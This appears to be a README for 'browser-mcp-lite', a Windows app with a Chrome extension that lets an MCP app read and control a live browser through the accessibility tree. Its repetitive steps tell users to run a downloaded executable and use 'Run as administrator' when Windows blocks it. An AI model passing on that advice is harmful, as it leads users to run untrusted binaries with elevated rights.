browser-mcp-lite gives you a small, secure way to connect a browser to an MCP-compatible app. It uses a Chrome Extension, token auth, and the browser accessibility tree to keep the setup light.
Use the release page to get the Windows build:
- Open the release page.
- Find the latest release near the top of the page.
- Download the Windows file from the Assets section.
- If the download comes as a ZIP file, right-click it and choose Extract All.
- Open the extracted folder.
- Run the app file that matches the Windows build.
If you see more than one file, pick the one with a Windows name, such as .exe or a Windows ZIP package.
This app is built for Windows desktop use. A normal home or work PC should be enough.
You will also need:
- Google Chrome installed
- Permission to add a Chrome Extension
- A browser session you want to access
- A token or secret key for secure access
For best results, use a recent version of Windows 10 or Windows 11.
browser-mcp-lite helps another app read and control a live browser session.
It can:
- connect to Chrome through an extension
- read the browser accessibility tree
- expose page content in a compact form
- keep access locked with token-based auth
- work with a minimal setup
It is meant for users who want direct browser access without a large tool stack.
- Download the latest Windows release from the release page.
- Unzip the file if the download is a ZIP archive.
- Open the folder where the files were extracted.
- Double-click the main app file.
- If Windows asks for permission, choose Yes.
- Keep the app open while you use it.
If Windows blocks the file, right-click the app and choose Run as administrator.
The app uses a Chrome Extension, so Chrome must be ready before you start.
- Open Google Chrome.
- Go to the extension setup page that comes with the release files.
- Turn on Developer mode if the setup guide asks for it.
- Load the extension folder.
- Make sure the extension shows as active in Chrome.
After the extension is active, browser-mcp-lite can read the browser state and work with the open page.
The app uses token auth to keep access private.
You may need to:
- create a token
- paste the token into the app
- copy the same token into the browser side setup
- keep the token safe
Use a simple string that you can store in a password manager or a note you keep private.
After install and setup:
- Start the Windows app.
- Open Chrome.
- Make sure the extension is active.
- Open the browser page you want to use.
- Connect the app to the browser session.
- Check that the app can see page content.
If the page is loaded and the extension is active, the connection should be ready.
browser-mcp-lite keeps the system small by using a few parts only:
- a local app on Windows
- a Chrome Extension in MV3 format
- token auth for access control
- the accessibility tree for page data
The accessibility tree is a browser feature that exposes page structure in a format another app can read. This helps the app understand buttons, fields, menus, and text on the page.
If the app does not connect right away, check these items:
- Chrome is open
- the extension is active
- the token matches on both sides
- the page is fully loaded
- you are using the latest release
- Windows did not block the file
If a browser page uses many pop-ups or blocks content, close extra tabs and reload the page.
This app fits tasks like:
- reading browser page content in a clean way
- connecting an MCP tool to a live browser
- testing simple browser flows
- working with a secure local browser setup
- using accessibility data instead of full page scraping
It is a good fit when you want a small tool that does one job well.
A release may include files such as:
- the Windows app
- a Chrome Extension folder
- a short setup guide
- a sample config file
- a token example
Keep the release files together in one folder so setup stays simple.
When a new release appears:
- Go back to the release page.
- Download the newest Windows file.
- Close the old app.
- Replace the old files with the new ones.
- Open the new version.
- Check that the extension still works in Chrome.
If you use a saved token, you may not need to set it up again.
- Right-click the file and try Run as administrator
- Check that Windows finished the download
- Make sure the file is not still inside a ZIP archive
- Open the extension page in Chrome
- Check that Developer mode is on if needed
- Reload the extension
- Restart Chrome
- Refresh the browser tab
- Confirm the extension is active
- Open a simpler page and test again
- Make sure the tab is not in a private window if the extension does not allow that mode
- Re-enter the token with the same characters
- Check for spaces before or after the token
- Create a new token and try again
- Make sure both sides use the same value
Use this page any time you need the latest Windows release:
- Download the latest Windows release
- Extract the files if needed
- Open Chrome
- Load the Chrome Extension
- Start the Windows app
- Enter the token
- Open the browser page
- Connect the session